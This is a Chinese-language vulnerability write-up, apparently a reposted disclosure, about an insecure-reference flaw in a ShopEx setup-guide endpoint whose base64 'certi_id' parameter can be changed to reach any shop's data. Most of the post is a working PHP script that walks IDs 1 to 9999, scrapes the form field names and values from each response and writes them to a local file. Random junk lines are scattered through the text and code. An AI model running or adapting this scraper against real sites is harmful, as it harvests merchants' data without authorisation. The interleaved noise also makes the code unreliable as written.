ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面

) Q% @* ~: b( N# }, Q
- B- X! q- [+ Z4 g4 h; N
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
  \: g. A6 T2 Q0 H& G# t

# `' V; N" w% L; L1 ^  ]
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


: m) A, l7 `4 e# {6 u# U% Q
3 g3 J, u5 B' s& k" _/ D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
5 W9 Q7 `, T; N: w7 H( N
  T# G  j( t5 V+ @0 t; t

<?php

- }2 k( w3 U0 n; g3 w                for ($i=1; $i < 10000; $i++) { //遍历
. u+ H/ R+ F* ^5 J7 a
2 j2 ?. m: N- ~6 ?  h1 O                        ShowshopExD($i);

4 I/ Z9 b; Z1 W, E  y$ |                }

                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
! t7 k0 ^8 G: C8 w) x4 @
  z7 u* v* u1 ^$ h- q                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

! G5 h. [1 `' \3 }% J- a( H        $url = $url.'?refer='.$refer;

! w1 p; ^/ k0 U9 R        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# Y8 T& ?" [2 I: R# Q
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

( p' N. f( W# O+ p+ b. n. |% R3 t& D! Z        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
6 T0 V3 T* ~7 G
( y/ X9 ?$ l% s4 I7 s; Q: X5 F        if(strpos($result,$refer))
! C3 [4 S  e+ ~+ C
        {
- u  w% |3 l. q! u! \
! x6 \2 E2 w8 d                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
# o# Z. R6 D5 U  J7 o
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
) \1 }3 ?; G9 o4 x! t1 [
                        echo $res[1][0].':'.$res[3][0]."\r\n";

' o6 o; B9 G. J( o8 o8 c                        $col =$res[1][0].':'.$res[3][0]."\r\n";
2 q: f; g' Q, f  M) h: H; z
                        fwrite($fp, $col, strlen($col));

5 U/ O2 d+ @& Z  v0 E                }

                echo '--------------------------------'."\r\n";
/ b: a$ f& N+ k6 P. ^/ y
                fclose($fp);
. }+ k) k( {( s$ z7 s/ N3 c
2 G& n/ Z! Z* y; P        }
2 |) t( L5 o+ p1 R
9 H* z# g" R, k/ z' S- N        flush();
; j) S. o: r3 T# g: \  {
2 y% H$ G6 u4 {' }! t* H! z        curl_close($ch);

7 g8 L1 c$ A5 o6 u                }

" t3 E: E$ r# ?' k( B% n?>
  P: B3 v+ F% R4 c& {4 t# {4 M漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
2 O% ~5 f. V6 u0 R3 W% Yrefer换成其他加密方式
5 X3 S% M) O1 Z( M